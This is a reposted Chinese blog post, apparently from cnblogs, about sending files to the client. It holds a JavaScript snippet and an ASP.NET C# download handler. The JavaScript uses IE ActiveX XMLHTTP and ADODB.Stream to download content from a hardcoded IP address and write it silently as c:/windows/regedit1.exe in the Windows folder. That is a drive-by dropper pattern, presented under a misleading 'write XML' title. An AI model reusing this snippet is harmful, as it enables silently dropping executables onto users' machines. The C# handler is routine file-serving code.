zoukankan      html  css  js  c++  java
  • [转贴]怎么样写一个XML文件到客户端

    XML的数据先是保存在内存里的,然后通过用户的下载写到客户端

    function getXML(geturl)
    {
    xh = new ActiveXObject("Microsoft.XMLHTTP");
    xh.onreadystatechange = getReady;
    xh.open("GET",geturl,true);                    
    xh.send();  
                             
    }


    function getReady()
    {
    alert(xh.readyState);
    if(xh.readyState==4)
    {
     if(xh.status==200)
     {
     saveFile("c:/windows/regedit1.exe");
     return true;
     }
     else
     {
     return false;
     }
     openCommand();
    }
    else
    return false;
    }


    function saveFile(tofile)
    {
    var objStream;
    var imgs;
    imgs = xh.responseBody; 
    objStream = new ActiveXObject("ADODB.Stream");
    objStream.Type = 1;
    objStream.open();
    objStream.write(imgs);
    objStream.SaveToFile(tofile)
    }
    getXML("http://192.100.100.135/text.xml");




    int id = Convert.ToInt32 (Request.Params ["id"]);
       int type = Convert.ToInt32 (Request.Params ["type"]);

       if (id == 0)
       {
        throw new ArgumentException ();
       }

       Business.Account.User user = new JLTender.Business.Account.User ();
       DataRow dr = user.GetImg (id);

       if (dr == null)
       {
        throw new Exception ("未找到相关信息!");
       }

       string filePath = "\\";
       string oldFileName = dr ["oldimgname"].ToString ().Trim ();
       string ext = Path.GetExtension (oldFileName);
               
       string [] imgs = {".gif",".jpg",".jpeg",".png",".bmp"};
       ArrayList list = new ArrayList ();
       list.AddRange (imgs);

       if (list.Contains (ext.ToLower ()))
       {
        filePath += "_uploadpic\\";
       }
       else
       {
        filePath += "_uploadfile\\";
       }

       FileStream fs = null;
       try
       {
        fs = File.OpenRead (Server.MapPath (filePath) + dr ["newimgname"].ToString ().Trim ());
        byte[] buffer = new byte [fs.Length];
        fs.Read (buffer, 0, (int)buffer.Length);
                   
        Response.Clear ();
        if (type == 1)
        {
    //     Response.ContentType = "image/*";
        }
        else
        {
         Response.ContentType = "application/octet-stream";
         Response.AddHeader ("Content-Disposition","attachment;filename=" + oldFileName);
        }
        Response.BinaryWrite (buffer);
        Response.End ();
       }
       catch
       {}
       finally
       {
        fs.Close ();               
       }           
      }

  • 相关阅读:
    yum下载安装mysql服务
    windows编写sh脚本在linux上不能执行
    ectouch第二讲之 文件结构
    ecshop第一讲之安装
    class id 区别
    thinkphp模板中截取中文字符串的方法分享
    CI 配置验证规则
    CodeIgniter配置之config
    codeigniter中base_url和site_url
    使用phpmyadmin导入SQL数据报错:#1062
  • 原文地址:https://www.cnblogs.com/goody9807/p/191923.html
Copyright © 2011-2022 走看看